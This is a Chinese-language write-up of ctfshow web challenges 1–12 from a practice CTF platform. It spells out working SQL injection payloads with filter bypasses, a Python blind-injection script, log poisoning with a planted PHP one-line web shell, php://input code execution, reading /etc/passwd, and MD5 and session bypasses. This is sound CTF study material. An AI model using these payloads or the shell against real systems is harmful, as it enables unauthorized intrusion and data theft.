ctfshow刷题笔记
CTFshow Web1 - Web12
目录
Web1 签到题
打开进入靶场
查看网页源码,发现加密字符串,解密即可
base64解密得到flag
Web2
打开进入靶机环境,发现是登录界面
随便输入账号和密码,进行抓包
发现为POST请求,数据在请求体当中,验证是否存在sql注入
将数据发给重发器,反复测试发送数据包验证
使用万能钥匙,看是否能暴露出数据:
username=admin&password=admin' or 1=1#
回显成功,接下来判断回显点
username=admin&password=admin' union select 1,2,3#
查看数据库
username=admin&password=admin' union select 1,database(),3#
查看数据表
username=admin&password=admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
爆列的信息
username=admin&password=admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
爆数据
username=admin&password=admin' union select 1,group_concat(flag),3 from flag#
成功获取flag
ctfshow{fc2a2448-d57c-4f2f-8636-1e287adde894}
Web3
拿到题目,观察发现,此题为文件包含题目,获取url参数通过GET方式进行传参
解法一
尝试查看服务器当中的文件
?url=/etc/passwd
成功回显
访问日志文件
发现大量的日志信息,抓包获取数据,在数据包当中插入一句话木马,通过蚁剑进行连接
在User-Agent当中插入一句话木马,放包即可
通过蚁剑连接
URL地址
http://a9c8c946-be8a-4f96-b514-fd0344989143.challenge.ctf.show/?url=/var/log/nginx/access.log
连接密码
cmd
发现ctf文件,查看即可
获取flag
或打开模拟终端,查看flag
ctfshow{da4b450e-0119-412b-8789-0abb060dfd8f}
解法二
使用文件包含伪协议php://
?url=php://input
get请求,构造请求体
<?php system('ls');?>
发现ctf_go_go_go文件
查看即可
<?php system('cat ctf_go_go_go');?>
Web4
同Web3解法一,一致
发现文件包含伪协议不起作用,所有我们使用包含日志的方式,修改UA数据包信息,插入木马,使用蚁剑连接
刷新界面
使用蚁剑连接,连接成功
找到flag
或者使用模拟终端
本题flag为
ctfshow{8270bb8d-a0f0-44cb-9016-75ee24a42f48}
Web5
打开进入靶场环境
分析本题为MD5加密绕过,通过代码分析可知,V1参数要都是字母,V2参数要都是数字
PHP中的 ctype_alpha() 函数用于检查给定字符串的所有字符是否为字母。如果所有字符都是字母,则返回 True 否则返回 False。
is_numeric() 可以检测「变量」是否为「数字」或数字字符串。
md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。这样最后php解析到的v1和v2的md5值就都是0了
部分数值:
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
根据本题要求,V1为字母字符串,V2为数字字符,所以符合要求的为:
QNKCDZO
240610708
payload:
?v1=QNKCDZO&v2=240610708
成功获取flag
本题flag为:
ctfshow{8d973e5c-2381-4e3d-a246-75b524db62d3}
Web6
打开环境进入靶场
本题为sql注入题
随便输入账号和密码,然后进行抓包
发给重发器,进行多次测试,使用万能钥匙,看是否能暴露出敏感信息
发现不能正常的回显,出现错误。分析可能是过滤掉了某些符号或者关键字。将空格换成/**/,再次尝试
username=admin&password=admin'/**/or/**/1=1#
成功回显
判断回显点
username=admin&password=admin'/**/union/**/select/**/1,2,3#
接下来进行报数据、数据表、爆出数据信息获取flag
爆数据库
username=admin&password=admin'/**/union/**/select/**/1,database(),3#
爆数据表
username=admin&password=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
爆数据表的列信息
username=admin&password=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
爆数据敏感信息,获取flag
username=admin&password=admin'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#
成功获取flag
本题flag
ctfshow{c7a602ec-5118-4c97-97a2-003b88d2b593}
Web7
拿到题目,我们打开文章列表依次查看,观察url信息,发现信息在url当中,可能存在sql注入,尝试注入
使用万能钥匙,查看是否能暴露敏感的信息
发现sql注入错误,存在问题。分析可能是过滤掉了一些信息,将空格换成/**/,再次尝试
?id=1'/**/or/**/1=1%23
成功回显:
判断字段的个数
?id=1'/**/order/**/by/**/4%23
没有正常的回显,将4换成3,在尝试
?id=1'/**/order/**/by/**/3%23
回显成功:
判断回显点
?id=-1'/**/union/**/select/**/1,2,3%23
回显成功:
爆数据库
?id=-1'/**/union/**/select/**/1,database(),3%23
爆数据表
id=-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
查找flag数据表当中flag信息
爆数据信息
?id=-1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag%23
本题flag为:
ctfshow{726647c3-c7cb-40fb-969a-140b0841b582}
Web8
拿到该题目,发现和上一个题目差不多,我们继续尝试sql注入
发现报错,可能过滤掉了分号,去掉后,正常回显
判断字段的个数,order by 4 还是没有回显,将4换成3,正常回显
?id=1/**/order/**/by/**/3%23
进一步判断回显点,发现报错,可能过滤掉了关键字等一下查询手段,替换其他方式进行注入
?id=-1/**/union/**/select/**/1,2,3%23
注:
过滤空格:可以使用/**/和%a0绕过或()绕过
过滤联合查询语句:可以使用盲注替代联合注入
过滤逗号,:可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用 substr(database() from 1 for 1)来代替
过滤and:可以使用or
考虑其他方式注入
使用Python脚本进行自动化脱库,这里参考博主的注入代码
可逐个获取数据,数据表,数据表当中的数据信息等
import requests
# 站点的url信息,填入即可
url = 'http://db336116-298f-4608-be7f-0eda62e65304.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()
参考文章
https://blog.csdn.net/wangyuxiang946/article/details/120115458
运行结果为:
本题flag
ctfshow{1fecd27f-f205-4864-9f50-65ce98b399f3}
Web9
打开靶场进入环境,发现该站点给了我们用户,让我们输入密码
输入密码时我们抓包进行查看信息:
本题为POST请求,数据都在请求体当中,将数据发给重发器进行测试
输入万能钥匙,看是否有回显信息
username=admin&password=root' or 1=1#
提示我们密码错误,说明密码方面可能动了手脚,尝试爆破目录,看能不能获取源码
访问robots.txt,看有没有我们想要的信息
http://c0b184da-d6ae-4f91-a616-e7b9992685ad.challenge.ctf.show/robots.txt
发现index.phps文件,继续访问,下载到本地,打开查看是源码
打开index.phps文件,查看源码信息
发现password参数获取后,被MD5加密了
经过查阅资源,可知当数据的密码被MD5加密后,可以使用万能钥匙进行绕过
数据库password当中使用MD5进行加密,绕过方式:
使用ffifdyop
这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成
276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
输入该‘钥匙’:
ffifdyop
经过md5()后为
276f722736c95d99e921722cf9ed621c
在密码处,输入万能钥匙:ffifdyop
登录成功,获取flag
本题flag
ctfshow{b939e923-5a92-4bb0-aa25-1f17ff2cb9cc}
Web10
打开靶机进入环境
点击取消可下载源码,下载到本题,打开查看
源码:
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
观察源码发现,源码当中过滤了sql语句当中的很多关键字,if控制语句限制条件,双写也无法进行绕过。观察发现关键字当中没有过滤掉group by和with rollup函数。可以利用该函数进行查询。
group by 和 with rollup 两个分组函数,with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
构造payload:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
查询密码并按密码分组,密码为空即可
成功回显,获取flag
本题flag为:
ctfshow{974c99d1-13d4-424d-b192-0cf915a34e45}
Web11
打开靶场,进入环境
给了我们密码,尝试登录一下
无法正常的登录,查看页面的给的源码
发现该站点给了我们密码,但是观察源码当中发现还是过滤掉了很多的关键字,双写也无法绕过,注意看密码处,跟session做比较,我们可以修改session值,来绕过
使用工具HackBar,查看存储当中的信息,找到cookie信息,发现session值,已经给了我们值,但是我们不知道session值对应的password是多少,所有可以给他清空,密码也清空。让它null==null,进行绕过
清空session值,密码也清空,再次执行
成功获取flag
本题flag为
ctfshow{71e0ad95-676a-4937-af42-be8ca75d70e6}
Web12
打开靶场,进入环境
查看源码
给了我们提示信息,传递cmd参数GET方式传参
接下来我们尝试查看一些文件,看是否能成功
没有任何回显,查看失败。尝试执行phpinfo()查看php的配置信息,看能否正常回显
?cmd=phpinfo();
回显成功
可执行php代码,查询信息使用glob函数
使用glob函数遍历文件或目录:
PHP glob() 函数
定义和用法
glob() 函数返回一个包含匹配指定模式的文件名或目录的数组。
该函数返回一个包含有匹配文件/目录的数组。如果失败则返回 FALSE。
构造payload:
?cmd=print_r(glob("*"));
print_r(glob("*")):直接打印出来当前目录下的所有文件
print_r() 函数用于打印变量,以更容易理解的形式展示。
发现两个php文件,可先查看index.php,观察源码当中的敏感信息
payload:
?cmd=highlight_file("index.php");
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。
注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
语法
highlight_file(filename,return)
参数描述
filename 必需。规定要显示的文件。
return 可选。如果该参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。默认是 FALSE。
查看另一个php文件:
payload:
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
成功获取flag
本题flag为:
ctfshow{
ecd38c29-d9bd-46f0-978b-c83545b8d4d2}
文章不妥之处,欢迎批评指正!